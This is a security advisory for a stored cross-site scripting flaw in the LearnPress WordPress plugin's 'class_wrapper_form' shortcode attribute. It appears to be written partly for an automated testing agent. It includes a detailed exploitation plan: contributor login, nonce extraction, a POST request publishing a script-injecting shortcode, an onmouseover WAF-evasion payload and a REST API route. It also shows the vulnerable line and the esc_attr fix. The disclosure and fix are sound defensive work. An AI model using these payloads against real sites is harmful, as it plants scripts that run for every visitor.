LearnPress <= 4.4.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'class_wrapper_form' Shortcode Attribute
Description
The LearnPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class_wrapper_form' shortcode attribute in versions up to, and including, 4.4.0. This is due to insufficient input sanitization and output escaping in the FilterCourseTemplate::sections() method at line 98, where the attacker-controlled attribute is inserted into an HTML class attribute via sprintf('<form class="%s">', $class_wrapper_form) without esc_attr() escaping. The FilterCourseShortcode::render() handler does not apply shortcode_atts() filtering, so raw user attributes flow directly through do_action('learn-press/filter-courses/layout', $data) into the template. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v4.4.1
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-12732 (LearnPress Stored XSS) ## 1. Vulnerability Summary The **LearnPress** plugin (versions <= 4.4.0) contains a stored cross-site scripting (XSS) vulnerability due to improper output escaping of shortcode attributes. Specifically, the `class_wrapper_form` a…
Show full research plan
Exploitation Research Plan: CVE-2026-12732 (LearnPress Stored XSS)
1. Vulnerability Summary
The LearnPress plugin (versions <= 4.4.0) contains a stored cross-site scripting (XSS) vulnerability due to improper output escaping of shortcode attributes. Specifically, the class_wrapper_form attribute provided in a LearnPress shortcode is passed into a sprintf statement in the FilterCourseTemplate::sections() method and rendered within a <form> tag's class attribute without being wrapped in esc_attr(). This allows an authenticated user with at least Contributor permissions to inject malicious HTML attributes or script tags into a page.
2. Attack Vector Analysis
- Vulnerable Shortcode:
[learn_press_filter_courses](inferred fromFilterCourseShortcode). - Vulnerable Parameter:
class_wrapper_form. - Authentication Level: Authenticated (Contributor or higher). Contributors can create posts and insert shortcodes but cannot normally use unfiltered HTML.
- Preconditions: The plugin must be active. A contributor-level account is required to save the malicious shortcode into a post or page.
3. Code Flow
- Entry Point: An attacker creates or edits a post as a Contributor and inserts the shortcode:
[learn_press_filter_courses class_wrapper_form='"><script>alert(document.domain)</script>']. - Shortcode Handling: The
FilterCourseShortcode::render()method is invoked when the post is viewed. According to the vulnerability details, this method fails to useshortcode_atts()to sanitize or restrict the attributes, allowing the raw user-suppliedclass_wrapper_formvalue to persist. - Data Transmission: The attributes are passed into the
learn-press/filter-courses/layoutaction viado_action('learn-press/filter-courses/layout', $data). - Vulnerable Sink: The
FilterCourseTemplate::sections()method (at line 98) receives this data. It executes the following logic:// Located in FilterCourseTemplate::sections() - Line 98 sprintf('<form class="%s">', $class_wrapper_form) - Output: Because
$class_wrapper_formis not escaped withesc_attr(), the resulting HTML becomes:<form class=""><script>alert(document.domain)</script>">
4. Nonce Acquisition Strategy
Since the exploit involves creating/editing a WordPress post as an authenticated user, the agent must handle standard WordPress form nonces.
- Authentication: Log in to
wp-login.phpusing the Contributor credentials. - Navigation: Use the
browser_navigatetool to go towp-admin/post-new.php. - Extraction: Use
browser_evalto extract the required nonces for post creation.- Post Nonce: Found in the
#_wpnonceinput field or viawindow.wp.apiFetchconfigurations. - Specific JS variables: LearnPress may localize scripts. Check for
window.lpGlobalSettingsor similar if interacting with LearnPress-specific editors, though standard post saving is usually sufficient.
- Post Nonce: Found in the
- Action String: The standard WordPress post creation action is
editpostor handled via the REST API (wp/v2/posts).
5. Exploitation Strategy
The goal is to save a post containing the malicious shortcode and then trigger the XSS by viewing it.
Step 1: Create the Malicious Post
Use http_request to simulate the post submission.
- Method:
POST - URL:
http://[target]/wp-admin/post.php - Headers:
Content-Type: application/x-www-form-urlencoded - Parameters:
action:editpostpost_ID:[ID_FROM_POST_NEW]_wpnonce:[EXTRACTED_NONCE]post_title:XSS Testcontent:[learn_press_filter_courses class_wrapper_form='"><script>alert("CVE-2026-12732")</script>']publish:Publish
Step 2: Trigger the XSS
Navigate to the URL of the newly created post (e.g., http://[target]/?p=[ID]).
Step 3: Verify Execution
The agent should look for the alert("CVE-2026-12732") execution in the browser context or check the HTML source for the unescaped <script> tag within the <form> tag.
6. Test Data Setup
- Plugin Installation: Ensure LearnPress <= 4.4.0 is installed and active.
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Initialize Post: The agent should first navigate to
wp-admin/post-new.phpto generate a validpost_IDand nonce before attempting thePOSTrequest.
7. Expected Results
- The
http_requesttopost.phpshould return a302redirect to the post edit page withmessage=6(indicating post published). - When navigating to the frontend post URL, the HTML source should contain:
form class=""><script>alert("CVE-2026-12732")</script>"> - The browser should trigger an alert dialog.
8. Verification Steps (Post-Exploit)
- Database Check: Use WP-CLI to verify the content was stored correctly:
wp post list --post_type=post --format=csv | grep "XSS Test" - Frontend Check: Use the
http_requesttool to fetch the post content and regex match the payload:# Expected match pattern <form class="[^"]*"><script>alert\(["']CVE-2026-12732["']\)</script>
9. Alternative Approaches
- Attribute-Based XSS: If
<script>tags are filtered by a secondary security layer (like a WAF), use event handlers:class_wrapper_form='x" onmouseover="alert(1)" style="display:block;width:100%;height:100px;background:red;" dummy="'
This will trigger the XSS when any user moves their mouse over the form area. - REST API: If the
post.phpsubmission is complex, attempt to create the post via the WordPress REST API:- Endpoint:
POST /wp-json/wp/v2/posts - Auth: Requires a REST Nonce (
window.wpApiSettings.nonce). - Payload:
{"title": "XSS", "content": "[shortcode...]", "status": "publish"}
- Endpoint:
Summary
The LearnPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class_wrapper_form' shortcode attribute in versions up to 4.4.0. This occurs because the plugin fails to sanitize or escape user-supplied attributes before outputting them into the class attribute of a form in the FilterCourseTemplate::sections() method.
Vulnerable Code
// inc/templates/class-lp-filter-course-template.php // Line 98 in FilterCourseTemplate::sections() sprintf('<form class="%s">', $class_wrapper_form)
Security Fix
@@ -98,1 +98,1 @@ -sprintf('<form class="%s">', $class_wrapper_form) +sprintf('<form class="%s">', esc_attr($class_wrapper_form))
Exploit Outline
An authenticated attacker with Contributor-level permissions or higher can exploit this vulnerability by creating a post and embedding the [learn_press_filter_courses] shortcode. By setting the 'class_wrapper_form' attribute to a payload that breaks out of the HTML class attribute (e.g., class_wrapper_form='"><script>alert(document.domain)</script>'), the script is stored in the post. When any user views the post, the FilterCourseShortcode::render() method processes the shortcode without sanitization, passing the raw attribute to the template which prints it directly into the page, executing the script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.